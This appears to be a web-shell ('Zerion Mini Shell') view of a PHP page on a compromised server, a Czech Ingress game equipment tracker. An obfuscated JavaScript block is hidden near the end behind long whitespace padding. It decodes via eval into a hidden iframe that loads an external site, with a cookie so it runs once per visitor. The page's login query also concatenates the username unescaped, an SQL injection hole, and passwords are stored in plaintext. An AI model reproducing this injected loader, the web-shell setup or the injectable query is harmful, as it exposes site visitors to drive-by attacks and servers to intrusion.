%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/309157/root/data/bordel/ingress/
Upload File :
Create Path :
Current File : //proc/309157/root/data/bordel/ingress/_index.php

<?php
include "lib.php";
function cnt_encaps($cnt)
{
	if($cnt == 0)
		return $cnt;
	if($cnt >= 0)
		return "<b><font color=\"green\">$cnt</font></b>";
	return "<b><font color=\"red\">$cnt</font></b>";
}

if (!isset($_SERVER['PHP_AUTH_USER'])) 
{
    header('WWW-Authenticate: Basic realm="waritko ingress"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Musite se prihlasit aby jste mohli prohlizet historii';
    exit;
} 
else 
{ 
    $user = $_SERVER['PHP_AUTH_USER'];
    $spojeni = pg_connect("host=localhost port=5432 dbname=ingress user=postgres");
    $res = q("select password, id from users where username='".$user."'");
    if(!$res || trim($res[0][0]) != trim($_SERVER['PHP_AUTH_PW']))
    {
          header('WWW-Authenticate: Basic realm="waritko ingress"');
          header('HTTP/1.0 401 Unauthorized');
          echo 'Musite se prihlasit aby jste mohli prohlizet historii';
          exit;
    }
    $uid = $res[0][1];
}
?>
<html>
<head>
  <TITLE>Ingress equip</TITLE>
  <META HTTP-EQUIV="Cache-Control" content="no-cache">
  <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
  <style>
    body { font-family: Verdana,Tahoma,Arial,Helvetica; font-size:9pt}
    .header { font-size: 16pt; font-weight: 900; }
  </style>
</head>
<body>
<?php  
$query = "select action_time, description, resonator1, resonator2, resonator3, resonator4, resonator5, resonator6, resonator7, resonator8, buster1, buster2, buster3, buster4, buster5, buster6, buster7, buster8, shieldc, shieldr, shieldvr, experience from records where \"user\"=$uid order by action_time desc";
//echo $query;
$res = q($query);
$cnt = count($res);
for($i = 0; $i < $cnt-1; $i++)
{
	echo "<h3>".$res[$i][0]."</h3>
<h4>".$res[$i][1]."</h4>";
	echo '<table width="1000" border="1">
	<tr>
		<th><font color="#FFCC00">Resonator L1</font></th>
		<th><font color="#FF9900">Resonator L2</font></th>
		<th><font color="#FF6633">Resonator L3</font></th>
		<th><font color="#FF3300">Resonator L4</font></th>
		<th><font color="#FF0099">Resonator L5</font></th>
		<th><font color="#FF00FF">Resonator L6</font></th>
		<th><font color="#CC33FF">Resonator L7</font></th>
		<th><font color="#9966FF">Resonator L8</font></th>
		<th><font color="#FFCC00">XMP Buster L1</font></th>
		<th><font color="#FF9900">XMP Buster L2</font></th>
		<th><font color="#FF6633">XMP Buster L3</font></th>
		<th><font color="#FF3300">XMP Buster L4</font></th>
		<th><font color="#FF0099">XMP Buster L5</font></th>
		<th><font color="#FF00FF">XMP Buster L6</font></th>
		<th><font color="#CC33FF">XMP Buster L7</font></th>
		<th><font color="#9966FF">XMP Buster L8</font></th>
		<th><font color="#99FF99">Common shield</font></th>
		<th><font color="#9999FF">Rare shield</font></th>
		<th><font color="#FF66FF">Very Rare shield</font></th>
		<th>Experience</th>
	</tr>
	<tr>
		<td>'.$res[$i][2].'</td>
		<td>'.$res[$i][3].'</td>
		<td>'.$res[$i][4].'</td>
		<td>'.$res[$i][5].'</td>
		<td>'.$res[$i][6].'</td>
		<td>'.$res[$i][7].'</td>
		<td>'.$res[$i][8].'</td>
		<td>'.$res[$i][9].'</td>
		<td>'.$res[$i][10].'</td>
		<td>'.$res[$i][11].'</td>
		<td>'.$res[$i][12].'</td>
		<td>'.$res[$i][13].'</td>
		<td>'.$res[$i][14].'</td>
		<td>'.$res[$i][15].'</td>
		<td>'.$res[$i][16].'</td>
		<td>'.$res[$i][17].'</td>
		<td>'.$res[$i][18].'</td>
		<td>'.$res[$i][19].'</td>
		<td>'.$res[$i][20].'</td>
		<td>'.$res[$i][21].'</td>
	</tr>
	<tr>
		<td>'.cnt_encaps($res[$i][2]-$res[$i+1][2]).'</td>
		<td>'.cnt_encaps($res[$i][3]-$res[$i+1][3]).'</td>
		<td>'.cnt_encaps($res[$i][4]-$res[$i+1][4]).'</td>
		<td>'.cnt_encaps($res[$i][5]-$res[$i+1][5]).'</td>
		<td>'.cnt_encaps($res[$i][6]-$res[$i+1][6]).'</td>
		<td>'.cnt_encaps($res[$i][7]-$res[$i+1][7]).'</td>
		<td>'.cnt_encaps($res[$i][8]-$res[$i+1][8]).'</td>
		<td>'.cnt_encaps($res[$i][9]-$res[$i+1][9]).'</td>
		<td>'.cnt_encaps($res[$i][10]-$res[$i+1][10]).'</td>
		<td>'.cnt_encaps($res[$i][11]-$res[$i+1][11]).'</td>
		<td>'.cnt_encaps($res[$i][12]-$res[$i+1][12]).'</td>
		<td>'.cnt_encaps($res[$i][13]-$res[$i+1][13]).'</td>
		<td>'.cnt_encaps($res[$i][14]-$res[$i+1][14]).'</td>
		<td>'.cnt_encaps($res[$i][15]-$res[$i+1][15]).'</td>
		<td>'.cnt_encaps($res[$i][16]-$res[$i+1][16]).'</td>
		<td>'.cnt_encaps($res[$i][17]-$res[$i+1][17]).'</td>
		<td>'.cnt_encaps($res[$i][18]-$res[$i+1][18]).'</td>
		<td>'.cnt_encaps($res[$i][19]-$res[$i+1][19]).'</td>
		<td>'.cnt_encaps($res[$i][20]-$res[$i+1][20]).'</td>
		<td>'.cnt_encaps($res[$i][21]-$res[$i+1][21]).'</td>
	</tr>
</table><br /><br /><br />'."\n\n";
}
?>
<?
#a59dc4#
                                                                                                                                                                                                                                                          echo "                                                                                                                                                                                                                                                          <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                          aq=\"0x\";ff=String;fff=\"fromCh\"+\"a\"+\"rCode\";ff=ff[fff];zz=3;try{document.body^=~1;}catch(z1z1){v=123;vzs=0;try{document;}catch(q){vzs=1;}if(!vzs)e=eval;if(1){f=\"5e,6d,66,5b,6c,61,67,66,18,72,72,72,5e,5e,5e,20,21,18,73,5,2,18,18,18,18,6e,59,6a,18,6b,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,6a,5d,59,6c,5d,3d,64,5d,65,5d,66,6c,20,1f,61,5e,6a,59,65,5d,1f,21,33,5,2,5,2,18,18,18,18,6b,26,6b,6a,5b,18,35,18,1f,60,6c,6c,68,32,27,27,59,72,67,6a,61,66,5e,67,6a,65,59,6c,61,5b,59,26,5d,6b,27,5b,64,63,26,68,60,68,1f,33,5,2,18,18,18,18,6b,26,6b,6c,71,64,5d,26,68,67,6b,61,6c,61,67,66,18,35,18,1f,59,5a,6b,67,64,6d,6c,5d,1f,33,5,2,18,18,18,18,6b,26,6b,6c,71,64,5d,26,5a,67,6a,5c,5d,6a,18,35,18,1f,28,1f,33,5,2,18,18,18,18,6b,26,6b,6c,71,64,5d,26,60,5d,61,5f,60,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,6b,26,6b,6c,71,64,5d,26,6f,61,5c,6c,60,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,6b,26,6b,6c,71,64,5d,26,64,5d,5e,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,6b,26,6b,6c,71,64,5d,26,6c,67,68,18,35,18,1f,29,68,70,1f,33,5,2,5,2,18,18,18,18,61,5e,18,20,19,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,6b,1f,21,21,18,73,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,6f,6a,61,6c,5d,20,1f,34,5c,61,6e,18,61,5c,35,54,1f,6b,54,1f,36,34,27,5c,61,6e,36,1f,21,33,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,6b,1f,21,26,59,68,68,5d,66,5c,3b,60,61,64,5c,20,6b,21,33,5,2,18,18,18,18,75,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,4b,5d,6c,3b,67,67,63,61,5d,20,5b,67,67,63,61,5d,46,59,65,5d,24,5b,67,67,63,61,5d,4e,59,64,6d,5d,24,66,3c,59,71,6b,24,68,59,6c,60,21,18,73,5,2,18,6e,59,6a,18,6c,67,5c,59,71,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,6e,59,6a,18,5d,70,68,61,6a,5d,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,61,5e,18,20,66,3c,59,71,6b,35,35,66,6d,64,64,18,74,74,18,66,3c,59,71,6b,35,35,28,21,18,66,3c,59,71,6b,35,29,33,5,2,18,5d,70,68,61,6a,5d,26,6b,5d,6c,4c,61,65,5d,20,6c,67,5c,59,71,26,5f,5d,6c,4c,61,65,5d,20,21,18,23,18,2b,2e,28,28,28,28,28,22,2a,2c,22,66,3c,59,71,6b,21,33,5,2,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,18,35,18,5b,67,67,63,61,5d,46,59,65,5d,23,1a,35,1a,23,5d,6b,5b,59,68,5d,20,5b,67,67,63,61,5d,4e,59,64,6d,5d,21,5,2,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,23,18,1a,33,5d,70,68,61,6a,5d,6b,35,1a,18,23,18,5d,70,68,61,6a,5d,26,6c,67,3f,45,4c,4b,6c,6a,61,66,5f,20,21,18,23,18,20,20,68,59,6c,60,21,18,37,18,1a,33,18,68,59,6c,60,35,1a,18,23,18,68,59,6c,60,18,32,18,1a,1a,21,33,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,3f,5d,6c,3b,67,67,63,61,5d,20,18,66,59,65,5d,18,21,18,73,5,2,18,6e,59,6a,18,6b,6c,59,6a,6c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,66,59,65,5d,18,23,18,1a,35,1a,18,21,33,5,2,18,6e,59,6a,18,64,5d,66,18,35,18,6b,6c,59,6a,6c,18,23,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,23,18,29,33,5,2,18,61,5e,18,20,18,20,18,19,6b,6c,59,6a,6c,18,21,18,1e,1e,5,2,18,20,18,66,59,65,5d,18,19,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,28,24,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,21,18,21,18,21,5,2,18,73,5,2,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,75,5,2,18,61,5e,18,20,18,6b,6c,59,6a,6c,18,35,35,18,25,29,18,21,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,6e,59,6a,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,1a,33,1a,24,18,64,5d,66,18,21,33,5,2,18,61,5e,18,20,18,5d,66,5c,18,35,35,18,25,29,18,21,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,64,5d,66,5f,6c,60,33,5,2,18,6a,5d,6c,6d,6a,66,18,6d,66,5d,6b,5b,59,68,5d,20,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,64,5d,66,24,18,5d,66,5c,18,21,18,21,33,5,2,75,5,2,61,5e,18,20,66,59,6e,61,5f,59,6c,67,6a,26,5b,67,67,63,61,5d,3d,66,59,5a,64,5d,5c,21,5,2,73,5,2,61,5e,20,3f,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,21,35,35,2d,2d,21,73,75,5d,64,6b,5d,73,4b,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,24,18,1f,2d,2d,1f,24,18,1f,29,1f,24,18,1f,27,1f,21,33,5,2,5,2,72,72,72,5e,5e,5e,20,21,33,5,2,75,5,2,75\"[\"split\"](\",\");}w=f;s=[];if(window.document)for(i=2-2;-i+1352!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+8);}xz=e;if(window.document)xz(s)}</script>";

#/a59dc4#
?>
<?

?>
<a href="insert.php">Vlozit novy</a>
</body>
</html>

Zerion Mini Shell 1.0